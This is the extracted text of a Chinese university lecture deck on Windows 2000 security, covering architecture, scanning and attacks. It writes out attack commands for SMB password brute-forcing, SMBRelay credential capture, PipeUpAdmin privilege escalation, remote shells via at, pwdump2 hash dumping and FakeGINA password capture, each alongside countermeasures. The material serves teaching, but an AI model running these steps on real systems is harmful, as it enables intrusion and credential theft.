Windows2000系统安全(1)-网络与信息安全.ppt_第1页
Windows2000系统安全(1)-网络与信息安全.ppt_第2页
Windows2000系统安全(1)-网络与信息安全.ppt_第3页
Windows2000系统安全(1)-网络与信息安全.ppt_第4页
Windows2000系统安全(1)-网络与信息安全.ppt_第5页
已阅读5页,还剩163页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Win2k系统安全 1 胡建斌北京大学网络与信息安全研究室E mail hjbin 目录Win2K安全架构针对Win2K的安全扫描针对Win2K的攻击 Win2K的安全架构 Win2K安全子系统 WindowsNT的设计从最初就考虑了安全问题 获得了TCSECC2认证 这在竞争激烈的商业操作系统市场中是一个不错的业绩Windows2000正处于一个类似的标准评估过程中 使用通用标准 CommonCriteria CC 为了获得更高的级别 B级 Windows2000需要在它的设计中融入一些关键的元素 包括 但不限于 用于认证的安全登录工具可自由设定的访问控制审核Windows2000通过它的安全子系统实现了这些功能 图2 1显示了Windows2000的安全子系统 SRM 处于内核模式监视用户模式中的应用程序代码发出的资源访问请求并进行检查所有的安全访问控制应用于所有的安全主体 securityprinciple 安全主体 用户组计算机 用户帐户 账户是一种参考上下文 操作系统在这个上下文描述符运行它的大部分代码 换一种说法 所有的用户模式代码在一个用户账户的上下文中运行 即使是那些在任何人都没有登录之前就运行的代码 例如服务 也是运行在一个账户 特殊的本地系统账户SYSTEM 的上下文中的如果用户使用账户凭据 用户名和口令 成功通过了登录认证 之后他执行的所有命令都具有该用户的权限 于是 执行代码所进行的操作只受限于运行它的账户所具有的权限 恶意黑客的目标就是以尽可能高的权限运行代码 那么 黑客首先需要 变成 具有最高权限的账户 系统内建帐户 用户帐户攻击 本地Administrator或SYSTEM账户是最有权力的账户相对于Administrator和SYSTEM来说 所有其他的账户都只具有非常有限的权限因此 获取Administrator或SYSTEM账户几乎总是攻击者的最终目标 组 组是用户账户集合的一种容器Windows2000具有一些内建的组 它们是预定义的用户容器 也具有不同级别的权限放到一个组中的所有账户都会继承这些权限 最简单的一个例子是本地的Administrators组 放到该组中的用户账户具有本地计算机的全部权限 系统内建组 域中的组 当Windows2000系统被提升为域控制器时 同时还会安装一系列预定义的组权限最高的预定义组包括域管理员 DomainAdmins 它具有域中的所有权限还有企业管理员 EnterpriseAdmins 它具有域森林的全部权限 域内建组 组攻击 本地Administrator或SYSTEM账户是最有权力的账户本地Windows2000系统中的本地Administrators组是最有吸引力的目标 因为这个组的成员继承了相当于管理员的权限DomainAdmins和EnterpriseAdmins是Windows2000域中最有吸引力的目标 因为用户账户加入到它们当中后将会提升为具有域中的全部权限相对于Administrators DomainAdmins和EnterpriseAdmins 所有其他的组都只具有非常有限的权限获取Administrators DomainAdmins和EnterpriseAdmins组中的账户几乎总是攻击者的最终目标 特殊用户 WindowsNT 2000具有一些特殊身份 它们是处于特定传输状态的账户 例如通过网络登录 或来自于特定位置的账户 例如在键盘上进行交互式登录 的容器这些身份能够用来调节对资源的访问控制 例如 NT 2000中对特定进程的访问受限于INTERACTIVE 交互 用户 特殊用户 SAM SecurityAccountsManager 在独立的Windows2000计算机上 安全账户管理器负责保存用户账户名和口令的信息口令通过散列并被加密 现有的技术不能将打乱的口令恢复 尽管如此 散列的口令是可以被猜出的 SAM组成了注册表的5个配置单元之一 它在文件 systemroot system32 config sam中实现在Windows2000域控制器上 用户账户和散列的数据保存在活动目录中 默认为 systemroot ntds ntds dit 散列是以相同的格式保存的 但是要访问它们必须通过不同的方法 SYSKEY 从NT4ServicePack3开始 Microsoft提供了对SAM散列进行进一步加密的方法 称为SYSKEYSYSKEY是SystemKEY的缩写 它生成一个随机的128位密钥 对散列再次进行加密 不是对SAM文件加密 而是对散列 为了启用SYSKEY 你必须运行SYSKEY命令 SYSKEY 森林 树 域 作用域信任边界管理 域 通过将一台或几台Windows2000服务器提升为域控制器 就可以很容易地创建Windows2000域域控制器 DomainController DC 是共享的域信息的安全存储仓库 同时也作为域中认证的中央控制机构域定义了共享账户的一种分布边界 域中的所有系统都共用一组账户 在NT中 共享的域信息从主域控制器 PrimaryDC PDC 向备份域控制器 BackupDC BDC 进行复制 称为单主机复制在Windows2000域中 所有的域控制器都是对等的 它们之间进行的域信息复制称为多主机复制 树和森林 由于Windows2000活动目录的实现 域已经不再像NT中那样是逻辑上的管理边界 在活动目录层次中 在域之上还存在 树 和 森林 的结构树在很大程度上只是命名上的约定 没有太多安全上的含义 但是森林划分了Windows2000目录服务的边界 它是管理控制的根本界限 作用域 信任关系 Windows2000可以在域间形成信任关系 信任关系只是创建了域间的隐含访问能力 但是并没有显式地启用信任可以是单向的或双向的 单向信任意味着一个域信任另一个域 反过来不存在信任 双向信任定义了两个域之间相互信任 单向信任通常用于允许一个域中的管理员定义对所在域的访问控制规则 而相反则不行 信任关系 信任可以是可传递的和不可传递的 可传递的信任意味着如果域A传递信任域B 而域B传递信任域C 则域A就传递信任域C在默认情况下 Windows2000森林中的所有域之间都存在可传递的 双向的信任Windows2000可以对森林外的域或NT4域建立单向的 不可传递的信任 安全边界 由于森林中各个域之间自动建立的双向可传递的信任 导致了可以分配森林中各个域的权限的通用组的存在同一森林中其他域的管理员有夺取活动目录的Configuration容器的所有权并对其进行修改的潜在能力 这种修改将会在森林中的所有域控制器上传播 于是 对于任何加入到该森林的域来说 你必须保证该域的域管理员能够像其他域管理员一样可信Windows2000森林内部实际的安全边界是森林 域入侵的威胁 假设一个黑客占领了一个域控制器 森林中的其他域都具有潜在的危险 因为森林中任何域的DomainAdmins都能够获取活动目录的Configuration容器的所有权并修改其中的信息 并可以将对该容器的修改复制到森林中其他的域控制器上如果任何外部域的账户在被攻入的域进行认证 那么攻击者可以通过LSA口令缓存来偷取这些账户的口令 这使得他的影响扩大到森林中的其他域如果根域被攻入 那么EnterpriseAdmins和SchemaAdmins组的成员可以对森林中的所有域进行全面的控制 除非在此之前你已经手动限制了这些组的权限 SID SID WindowNT 2000内部对安全主体的操作是通过一个称为安全标识符 SecurityIdentifier SID 的全局惟一的48位数字来进行的SID能够防止系统将来自计算机A的Administrator账户与来自计算机B的Administrator账户弄混 SID S 1 5 21 1507001333 1204550764 1011284298 500 SID带有前缀S 它的各个部分之间用连字符隔开第一个数字 本例中的1 是修订版本编号第二个数字是标识符颁发机构代码 对Windows2000来说总是为5 然后是4个子颁发机构代码 本例中是21和后续的3个长数字串 和一个相对标识符 RelativeIdentifier RID 本例中是500 SID的生成 SID中的一部分是各系统和域惟一具有的 而另一部分 RID 是跨所有系统和域共享的当安装Windows2000时 本地计算机会颁发一个随机的SID 类似的当创建一个Windows2000域时 它也被指定一个惟一的SID 于是对任何的Windows2000计算机或域来说 子颁发机构代码总是惟一的 除非故意修改或复制 例如某些底层的磁盘复制技术 RID RID对所有的计算机和域来说都是一个常数 例如 带有RID500的SID总是代表本地计算机的真正的Administrator账户 RID501是Guest账户在域中 从1000开始的RID代表用户账户 例如 RID1015是在该域中创建的第14位用户 Windows2000 或者使用适当工具的恶意黑客 总是将具有RID500的账户识别为管理员 其它的SID S 1 1 0EveryoneS 1 2 0Interactive用户S 1 3 0CreatorOwnerS 1 3 1CreatorGroup 为什么不能总是使用Administrator登录 C netuse 192 168 234 44 ipc password u AdministratorSystemerror1326hasoccurred Logonfailure unknownusernameorbadpassword Windows会自动将当前登录用户的凭据提交给网络登录企图如果用户在客户端上是使用Administrator登录的 这个登录企图就会被解释为客户端希望使用本地Administrator账户登录到远程系统当然 这个账户在远程服务器上没有上下文你可以使用netuse命令来手动指定登录上下文 给出远程域 计算机名称或IP地址和用户名 并在用户名前加上反斜线 例如 C netuse 192 168 234 44 ipc password u domain AdministratorThecommandcompletedsuccessfully 查看SID C user2sidAdministratorS 1 5 21 1507001333 1204550764 1011284298 500Numberofsubauthoritiesis5DomainisCORPC sid2user521150700133312045507641011284298500NameisAdministratorDomainisCORPTypeofSIDisSidTypeUser 认证 授权和审核 令牌网络认证审核 登录认证过程 首先 Windows2000必须确定自己是否在与合法的安全主体打交道 这是通过认证实现的最简单的例子是通过控制台登录到Windows2000的用户 用户按下标准的CTRL ALT DEL组合键以打开Windows2000安全登录窗口 然后输入账户名称和口令 安全登录窗口将输入的凭据传递给负责验证的用户模式组件 如Winlogon和LSASS 假设凭据是有效的 Winlogon将创建一个令牌 或称访问令牌 并将之绑定到用户登录会话上 稍后访问资源时需要提供令牌 令牌 令牌中含有与用户账户有关的所有SID 包括账户的SID 还有该用户所属的所有组和特殊身份 如DomainAdmins和INERACTIVE 的SID可以使用whoami这样的工具 包含在Windows2000ResourceKit中 来查看与登录会话相关的SID 网络认证 挑战 应答 服务器向客户端发出一个随机值 挑战 客户端使用用户口令的散列对它进行加密散列函数运算 并将这个新计算出的值 应答 传回服务器服务器从本地SAM或活动目录中取出用户的散列 对刚发送的质询进行散列运算 并将结果与客户端的应答相比较于是 在WindowsNT 2000认证过程中 没有口令通过网络传输 即使是以加密的形式也没有 Win2K支持的认证方法 审核 审核策略 即需要记录哪些事件LSASS在系统引导时以及策略修改时将审核策略传递给安全参考监视器SRMSRM和Windows2000对象管理器一起生成审核记录 并将它们发送给LSASSLSASS添加相关的细节 进行访问的账户的SID等等 并将它们提交给事件日志服务 由后者记录到安全日志中 目录Win2K安全架构针对Win2K的安全扫描针对Win2K的攻击 扫描工具 Ping小榕流之光NetScanToolsPro2001 NSTP2001 SuperScan NetBIOS查找工具 NetViewNbtstatNbtscannetviewx DNS查找工具 NetviewNslookupNltest 共享资源查找工具 DumpSecenumNete SID查找工具 user2sidSid2useruserinfoUserdumpGetAcct SNMP查找工具 snmputilSolarWinds 活动目录查找工具 ldpSolarWinds 对策 在网络或主机级别上 禁止对TCP和UDP端口135 139和445的访问禁用SMB服务将RestrictAnonymous设置为2SMB ServerMessageBlock 局域网上提供共享文件和打印机的协议 禁用139端口 在本地连接的属性窗口中 打开InternetProtocol TCP IP 的属性 然后选择Advanced WINS标签 有一个选项称为DisableNetBIOSoverTCP IP 如图所示 禁用SMB 多数用户可能会认为禁用了TCP IP上的NetBIOS就已经成功地禁止了对他们的计算机的SMB访问 这是错误的 这个设置只是禁用了NetBIOS会话服务 即TCP端口139Windows2000在TCP445上运行了另一个SMB监听程序 系统版本高于NT4ServicePack6a的WindowsSMB客户端在试图与TCP139建立连接失败后 会自动转向TCP445 因此空会话仍然能够被客户建立 即使TCP139已经禁用或阻塞 禁用445端口 打开NetworkandDial upConnections 网络和拨号连接 选择Advanced菜单中的AdvancedSettings 高级设置 然后在适当的适配器上取消对FileandPrinterSharingforMicrosoftNetworks Microsoft网络的文件和打印机共享 的选择 如图所示 禁用SNMP 删除SNMP代理配置为只对特定的IP地址作响应 配置为只对特定的IP地址作响应 在使用惟一的一台管理工作站轮询所有设备的SNMP数据的环境中 这是一种典型的配置打开ServicesMMC SNMPServiceProperties对话框 Security标签 选择AcceptSNMPpacketsfromthesehosts单选按钮 并指定你的SNMP管理工作站的IP地址 如图所示 目录Win2K安全架构针对Win2K的安全扫描针对Win2K的攻击 针对Win2K的攻击 SMB攻击权限提升获得交互扩大影响清除痕迹 攻击手段 猜测用户名和密码获取密码散列利用脆弱的网络服务或客户端获取对系统的物理访问 SMB攻击 猜测SMB密码窃听SMB认证 攻击前准备工作 关闭与目标之间的空连接回顾扫描结果避免账户锁定管理员的重要性 关闭与目标之间的空连接 因为NT 2000不支持同时使用不同的凭据进行连接 我们必须使用netuse delete命令注销现有的与目标之间的全部空会话 使用 y参数可以使连接关闭而不用进行提示 C netuse d y 回顾扫描结果 实验室或测试账户在你的环境中存在多少这样的账户 其中有多少个位于本地的Administrators组中 你是否知道这样的账户的密码通常是什么在注释字段中带有丰富信息的用户账户通过查点获取的信息 见到过在这个字段中以明文的形式写出的密码 那些不愿意记住复杂密码的 不幸的 用户经常在注释字段中有很多提示 其有助于密码猜测Administrators组或DomainAdmins组的成员这些账户通常是攻击者的目标 因为它们拥有本地系统或域的至高无上的权限 同时 使用Microsoft的默认工具不能锁定本地的Administrator账户 这使得它成为连续密码猜测攻击的目标 回顾扫描结果 共享的组账户大多数组织都倾向于在给定环境中的大部分系统上重用账户凭据 例如类似于backup 备份 或admin 管理 这样的账户名称 这些账户的密码通常都比较容易猜测最近一定时期内没有修改过密码的账户这通常表明用户和系统管理员对账户维护工作的不重视 有可能导致潜在的危险 这些账户也可能会使用在创建该账户时指定的默认密码 这是很容易猜出的 通常会使用单位的名称 或者是Welcome 欢迎 等单词 最近一定时期内没有登录过的账户同样 使用频率很低的账户也是维护工作的疏忽所导致的 它们的密码通常也比较容易猜出 避免账户锁定 探测锁定阈值 Enum pGuest帐户猜测在Windows2000上 Guest账户在默认情况下是被禁用的 但是如果你达到了锁定阈值 你仍然能够收到提示 Guest猜测 C netuse ipc u guestTypethepasswordfor mgmgrand ipc Systemerror1326hasoccurred Logonfailure unknownusernameorbadpassword C netuse ipc u guestTypethepasswordfor mgmgrand ipc Systemerror1909hasoccurred Thereferencedaccountiscurrentlylockedoutandmaynotbeloggedonto Guest猜测 在猜测Guest 或其他账户 的密码时 需要注意的另外一件事是如果你确实猜对了一个已经被禁用账户的密码 那么将会出现另一种不同的错误消息 C netuse ipc u guestTypethepasswordfor mgmgrand ipc Systemerror1331hasoccurred Logonfailure accountcurrentlydisabled 在Windows2000中 Guest账户的密码默认为空 于是 如果你连续地以空密码来猜测Guest账户 那么永远也不会达到锁定阈值 除非密码被人为修改过 开始攻击 猜测SMB密码 手工SMB密码猜测 C netuse ipc password u usernameSystemerror1326hasoccurred Logonfailure unknownusernameorbadpassword 可能的用户名密码组合 使用For循环字典攻击 创建字典C echo credentials txtadministrator administratorpasswordadministratoradministrator 使用For循环字典攻击 猜测C FOR F tokens 1 2 iin credentials txt More donetuse IPC j u i More 2 nul More echo time date outfile txt More echo acct ipass j outfile txt 使用For循环字典攻击 查看猜测结果C typeoutfile txt11 53 43 42Wed05 09 2001 acct administratorpass 自动攻击工具 NATSMBGrindFgrind 对策 实施密码复杂性要求账户锁定启用登录失败事件的审核查看事件日志锁定真正的Administrator账户并创建一个假目标禁用闲置账户仔细核查管理人员 实施密码复杂性要求 账户锁定 启用登录失败事件的审核 查看事件日志 来自Foundstone公司的NTLast来自Foundstone公司的VisualLast来自TNTSoftware公司的事件日志监视器 ELM 来自AelitaSoftware公司的EventAdmin 锁定真正的Administrator账户 NT4ResourceKit中提供了一个称为passprop的工具Windows2000上运行admnlock只能工作在安装了SP2或更高的系统上 并且只有在系统或域设置了账户锁定阈值之后才会发生作用要使用admnlock在网络中锁定真正的Administrator账户 运行如下命令 C admnlock eTheAdministratoraccountmaybelockedoutexceptforinteractivelogons 查看事件日志 来自Foundstone公司的NTLast来自Foundstone公司的VisualLast来自TNTSoftware公司的事件日志监视器 ELM 来自AelitaSoftware公司的EventAdmin 禁用闲置账户 开始攻击 窃听SMB认证 窃听方法 直接从网络电缆上嗅探SMB凭据使用欺骗性服务器捕获SMB凭据中间人 Man in the middle MITM 攻击 LANManager的口令散列 微软在WindowsNT和2000系统里缺省安装了LANManager口令散列由于LANManager使用的加密机制比微软现在的方法脆弱 LANManager的口令能在很短的时间内被破解 即使是强健的口令散列也能在一个月内破解掉 LANManager的口令散列机制 长的口令被截成14个字符短的口令被填补空格变成14个字符口令中所有的字符被转换成大写口令被分割成两个7个字符的片断 LANManager的口令散列机制 LM算法是从账户密码的两个独立的7个字符分段创建用户的散列的前8个字节来自于用户密码的前7个字符 随后的8个字节来自于密码的第8 14个字符 LANManager的口令散列机制 每块都可以通过对所有可能的8字节组合进行穷举攻击而猜出攻击全部的8字节 字符空间 对于现代的桌面计算机处理器来说是很轻松的事情如果攻击者能够发现用户的LM散列 那么他们最终破解得到实际的明文密码就很可能了 L0phtcrack L0phtcrack的局限性 只能从共享介质中捕获质询 应答通信目前还不能从两个Windows2000系统间的登录交换中获取散列通过网络监听破解质询 应答散列所需的时间随着添加的密码散列数量而线性增长在使用SMBCapture之前 WinPcapv2 1报文捕获驱动程序必须成功安装和运行目前还不能从NTLMv2质询 应答通信中得到散列 欺骗 将SMB登录重定向到攻击者 假设攻击者能够欺骗用户连接到他所指定的SMB服务器上去 捕获LM应答就变得容易多L0phtcrack的早期版本中曾经建议了一种最基本的欺骗方法 向目标用户发送一封电子邮件 其中嵌入假冒的SMB服务器的超级链接 用户收到这封邮件 单击超级链接 手动的或自动的 客户端会在不受注意的情况下将该用户的SMB凭据通过网络发送这样的超级链接很容易伪装 而且通常只需要与用户进行很少的交互 因为如果没有明确提供其他认证信息的话 Windows会自动尝试以当前用户的身份登录 对策 确保遵守网络安全的最佳操作准则 在受到保护的网络中使用SMB服务 确保全部的网络基础设施不允许SMB通信到达不受信任的结点上配置网络中所有的Windows系统 禁止LM散列在网络中的传播 禁止发送LM散列 使用SMBRelay捕获SMB认证 SMBRelay SMBRelay实际上是一个SMB服务器 它能够从到来的SMB通信中收集用户名和密码散列顾名思义 SMBRelay不仅能够实现虚假的SMB终端的功能 在特定的情况下 它还能够进行中间人 man in the middle MITM 攻击 建立假的SMB服务器 C smbrelay ESMBRelayv0 992 TCP NetBT levelSMBman in the middlerelayattackCopyright2001 SirDystic CultoftheDeadCowSendcomplaints ideasanddonationstosirdystic 2 ETHERNETCSMACD 3Com10 100MiniPCIEthernetAdapter 1 SOFTWARELOOPBACK MSTCPLoopbackinterface 启动假的SMB服务器 C smbrelay IL2 IR2 在序号为2的网络接口上建立SMBRelayv0 992 TCP NetBT levelSMBman in the middlerelayattackCopyright2001 SirDystic CultoftheDeadCowSendcomplaints ideasanddonationstosirdystic Usingrelayadapterindex2 3ComEtherLinkPCI 等待并捕获SMB连接 Connectionfrom192 168 234 44 1526 Requesttype SessionMessage137bytes Username administrator Domain CAESARS TS OS Windows20002195 Lanmantype Windows20005 0 Passwordhashwrittentodisk 权限提升 命名管道预测NetDDE 权限提升 权限提升通常是指提升当前用户账户的能力 达到具有更高权限的账户 通常是超级用户 例如Administrator或SYSTEM的过程从恶意黑客的角度来说 获取一个普通账户 然后进行权限提升攻击 比远程进行攻击直接获取超级用户权限要容易得多不管在哪种情况下 无论他达到了什么特权级别 通过认证的攻击者都比未通过认证时要有很多达到目的的选择 命名管道预测 Guardent的研究员发现 Windows2000在使用命名管道时存在一个漏洞 这个漏洞允许任何交互式登录的用户模仿SYSTEM账户 并使用该账户的权限运行任意的程序Windows2000使用可预测的命名管道用于通过服务控制管理器 ServiceControlManager SCM 控制服务 命名管道预测 SCM使用一个惟一的命名管道用于它启动的每个服务的进程间通信 这个命名管道的格式是 pipe net NtControlPipe12 其中12是管道编号 通过读取注册表主键HKLM SYSTEM CurrentControlSet Control ServiceCurrent 攻击者可以预测下一个命名管道将是 pipe net NtControlPipe13 命名管道预测攻击 命名管道预测攻击利用管道编号的这种可预测性 它在SCM创建同名管道之前先创建这个管道当一个新的服务启动时 它将连接到这个恶意的管道通过命令SCM启动任意的一个服务 通常是以具有高度特权的账户运行的服务 SCM将该服务连接到恶意的管道上去 恶意的管道于是就可以模仿该服务的安全上下文 作为SYSTEM身份或该服务所在的任意账户的身份执行命令 PipeUpAdmin PipeUpAdmin能够将当前用户账户添加到本地的Administrtors组中 下面的例子将说明这一点这个例子假设用户wongd已经通过了认证 可以交互地访问命令控制台wongd是ServerOperators组的一位成员 PipeUpAdmin攻击 首先 wongd对全体的本地Administrators组的成员进行检查C netlocalgroupadministratorsAliasnameadministratorsCommentAdministratorshavecompleteandunrestrictedaccesstothecomputer domainMembers AdministratorThecommandcompletedsuccessfully PipeUpAdmin攻击 下一步 wongd试图将自己添加到Administrators组中 但收到了一条拒绝访问的错误消息 因为不具有足够的权限C netlocalgroupadministratorswongd addSystemerror5hasoccurred Accessisdenied PipeUpAdmin攻击 执行pipeupadminC pipeupadminPipeUpAdminMaceomaceo C Copyright2000 TheClipBookserviceisnotstarted MorehelpisavailablebytypingNETHELPMSG3521 Impersonating SYSTEMTheaccount FS EVIL wongdhasbeenaddedtotheAdministratorsgroup PipeUpAdmin攻击 检验身份C netlocalgroupadministratorsAliasnameAdministratorsCommentAdministratorshavecompleteandunrestrictedaccesstothecomputer domainMembers AdministratorwongdThecommandcompletedsuccessfully PipeUpAdmin攻击 退出并重新登录 获取administrator组用户权限很多权限提升攻击都需要这个过程 因为Windows2000需要重新创建当前用户的访问令牌 以便加入新的组成员关系的SID 作为SYSTEM身份运行的NetDDE 2001年2月 stake的Dildog发现了Windows2000的网络动态数据交换服务 NetworkDynamicDataExchangeService NetDDE 中的一个漏洞 这个漏洞允许本地用户以SYSTEM特权运行任意的命令NetDDE是使应用程序通过 受信任的共享 来共享数据的一种技术 通过受信任的共享 可以发出请求执行应用程序 并运行在SYSTEM账户的上下文中 获得交互 命令行控制GUI控制 交互方式 一旦攻击者获取了对Windows2000系统的管理访问 几乎没有什么方法能够阻止他将带来的损害 很少有攻击者会满足于他所获得的 管理 成就并满意地离开 相反 他总会进一步企图获取交互式的控制交互控制是查看系统的内部工作状态并任意执行命令的能力 就像物理上坐在系统前面一样 在Windows世界中 这可以通过两种方式之一来实现 通过命令行界面 例如类似于telnet的连接 或者通过图形化的界面 例如PCAnywhere Microsoft终端服务器或其他类似的远程控制产品当然 攻击者不会希望使用这种重量级的技术 他们需要的是小的 易于隐藏的控制方法 命令行控制 Remote exeNetusenetcat Remote exe remote exe来自于WindowsNT 2000ResourceKitremote exe可以运行于服务器模式或客户端模式要使用remote exe获取目标Windows系统的命令行控制 你必须进行如下步骤的操作 Remote exe 1 与目标之间创建管理连接 C netuse 10 1 1 5 ipc password u administrator2 将一个驱动器映射到管理共享C C netuse 10 1 1 5 c DriveD isnowconnectedto 10 1 1 5 c Thecommandcompletedsuccessfully Remote exe 3 将remote exe复制到目标上的一个目录中 C copyremote exed winnt system324 调用sc命令启动计划任务服务 C sc 10 1 1 5startschedule5 确定远程系统上的时间 C nettime 10 1 1 56 使用at命令启动remote exe程序 运行为服务器模式 C at 10 1 1 52 12A摂remote scmdhackwin Remote exe 7 检查是否已经通过at命令启动了remote exe程序 C at 10 1 1 5StatusIDDayTimeCommandLine 21Today2 12AMremote scmdhackwin8 以客户端模式运行remote exe程序 连接到目标系统 C remote c10 1 1 5hackwin 扩大影响 确定审核密码提取密码破解文件搜索GINA木马嗅探跳板端口重定向 确定审核 Windows审核可以在事件日志或syslog中记录下特定的事件 以审查历史 日志甚至可以用来触发向系统管理员发出寻呼警告或电子邮件因此 确定审核状态通常是帮助理解黑客在系统上所能够停留时间的不错的方法auditpol auditpol C auditpol 10 1 1 5Running X AuditEnabledSystem SuccessandFailureLogon FailureObjectAccess SuccessandFailurePrivilegeUse SuccessandFailure 密码提取 系统中的密码存储有很多种不同的方式我们将讨论保存密码的各种不同的位置 以及用来获取这些密码的方法 获取可逆加密的密码 只有在活动目录域控制器上才可以使用LocalSecuritySetting StorePasswordswithReversibleEncryption 本地安全设置 以可逆加密形式存储密码 选项 在默认情况下 这个设置是被禁用的 也就是说 密码不是以可逆的加密形式存储的 这是有利于安全的但是 如果有人启用了这个设置 那么在此之后新创建的密码将仍然以普通的SAM AD散列形式存储 但是是以一种独立的 可逆的加密格式保存的 与单向散列不同 在知道了加密密钥的情况下 这种格式可以被反向解密为明文的密码 获取可逆加密的密码 如果攻击者攻入了域控制器 他们很可能会立即检查这个设置 如果发现它被启用 那么攻击者将可以利用工具来获取整个域中所有人的明文密码目前 还没有哪种公开发布的工具能够完成这项工作 但是由于很多API的文档非常丰富完整 因此编写这样的程序应该是很简单的 转存SAM和活动目录密码 从注册表中转存密码是一项简单的工作系统的默认syskey是安全账户管理器 SecurityAccountsManager SAM 或活动目录 AD 数据库 这意味着系统中的用户名和密码是使用128位加密的 使得破解密码几乎是不可能的 但是不要担心 通过使用由ToddSabin编写的经过修改的pwdump2工具 仍然有方法可以获取加密的密码散列Pwdump2使用了一种称为动态加载库 DynamicallyLoadableLibrary DLL 注入的技术 这种技术可以通过一个进程强制其他的进程装载附加的DLL 然后在其他进程的地址空间和用户上下文中运行这个DLL中的代码 Pwdump2 C copypwdump2 exe 10 1 1 5 c C copysamdump dll 10 1 1 5 c 远程C pwdump2Administrator 500 e6efe4be4568c7fdaad3b435b51404ee fd64812d22b9b94638c2a7ff8c49ddc6 george 1006 315b02fdd7121d6faad3b435b51404ee d1cd4a77400159a23c47ce7e8808513d Guest 501 aad3b435b51404eeaad3b435b51404ee 密码破解 一旦从远程系统获取了加密的密码或散列 攻击者通常会把它们保存在文件中 并对它们运行密码破解程序以发现真正的密码很多人错误地认为密码破解是解密密码 事实并非如此 目前还没有方法能够对使用NT 2000算法加密的密码散列进行解密 密码破解的过程实际上是使用相同的算法对已知的值进行散列运算 然后将结果与使用pwdumpX等工具获取的散列进行比较 如果散列匹配 那么攻击者就知道了密码的明文值 因此 密码破解可以被认为是一种高级的 离线的密码猜测方法 密码破解工具 JohntheRipperL0phtcrack3 文件搜索 findFindstrGrepInvisiableKeyloggerStealyh IKS 击键记录工具 GINA木马 GINA GraphicalIdentificationandAuthorization 图形化鉴定和授权 是用户和Windows认证系统之间的中间人当你启动你的计算机时 屏幕上要求你按下CTRL ALT DEL进行登录的时候 这正是GINA在工作当然 由于GINA本身的保密性质 很多黑客很关注它的破解 特定的程序可以将自己介入到用户和操作系统之间 从而窃取用户的密码 GINA木马 FakeGINA 来自Ntsecurity nu的ArneVidstrom开发的FakeGINA是IKS等击键记录程序的替代品 这个程序可以介入到Winlogon和GINA之间的通信当中去 捕获在CTRL ALT DEL之后输入的用户名和密码然后FakeGINA会将捕获的用户名和密码写入到一个文本文件中去 这个程序是通过替换注册表中现有的msgina dll来达到这个目的的 FakeGINA的安装 为了远程安装这个程序 攻击者需要按照下面的步骤进行操作 1 将fakegina dll复制到远程驱动器的 SystemRoot system32目录中去 C copyfakegina dll 10 1 1 5 admin system322 使用ResourceKit工具reg exe 向Windows注册表中加入如下键值 C regadd SOFTWARE Microsoft WindowsNT CurrentVersion Winlogon GinaDLL fakegina dll REG SZ 10 1 1 3Connectingtoremotemachine 10 1 1 3Theoperationcompletedsuccessfully 3 使用ResourceKit工具shutdown重新启动系统 C shutdown 10 1 1 3 R T 1 Y C FakeGINA的安装 4 等待用户登录 然后查看文件 SystemRoot system32 passlist txt中的原始登录用户名和密码 假设攻击者已经将C 共享映射为他的I 驱动器 I WINNT system32 typepasslist txtFRED W2KS Stun0t4u2cFRED W2KS Administratorh4pped4ze你可以看到 用户Stu的密码为 n0t4u2c Administrator的密码为 h4pped4ze 攻击者在收集了这个密码之后可以继续等待其他用户的登录 并开始对网络的下一步攻击 嗅探工具 SnifferFsniffDsniffforWin32Ethereal 中继跳板 攻击者获取了一个系统的访问权所导致的最大危险可能在于他可以利用这个系统作为跳板 从而

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论